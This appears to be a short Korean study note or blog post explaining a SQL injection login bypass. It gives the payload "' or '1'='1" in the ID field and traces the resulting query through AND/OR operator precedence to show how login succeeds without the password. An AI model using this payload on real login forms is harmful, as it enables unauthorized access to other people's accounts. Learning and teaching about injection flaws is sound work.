' or '1'='1

DATE : 2023/11/29

개행이 포함된 Query를 우회하기 위해서 우리는

' or '1'='1

를 사용할 수 있다.

우리의 목적은 로그인 우회이기 때문에 hanhxx의 비밀번호를 모른다는 가정 하에 아래와 같이

ID : hanhxx' or '1'='1
PASS : idk

> SELECT * FROM member WHERE id='hanhxx' or '1'='1' and 
    pass='idk'

계정을 입력하게 되면 결과적으로 익숙한 형태의 Query가 완성된다.

SELECT * FROM member WHERE id='hanhxx' or '1'='1' and pass='idk'

이 Query에는 and, or 연산자가 포함되어 있고 and 연산의 우선순위가 더 높기 때문에

> '1'='1' and pass='idk'
> pass = 'idk'

WHERE문의 내용은 결과적으로

SELECT * FROM member WHERE id='hanhxx' or pass='idk'

id가 hanhxx이거나 password가 idk인 ROW에 대해 로그인을 성공하게 된다.

hanhxx의 비밀번호를 모르더라도 한 쪽의 조건을 true로 만들기 때문에 로그인 우회가 가능해진다!!

실제로 값을 넣어보면

로그인에 성공하는 걸 확인할 수 있을 것이다. 🤗

Last updated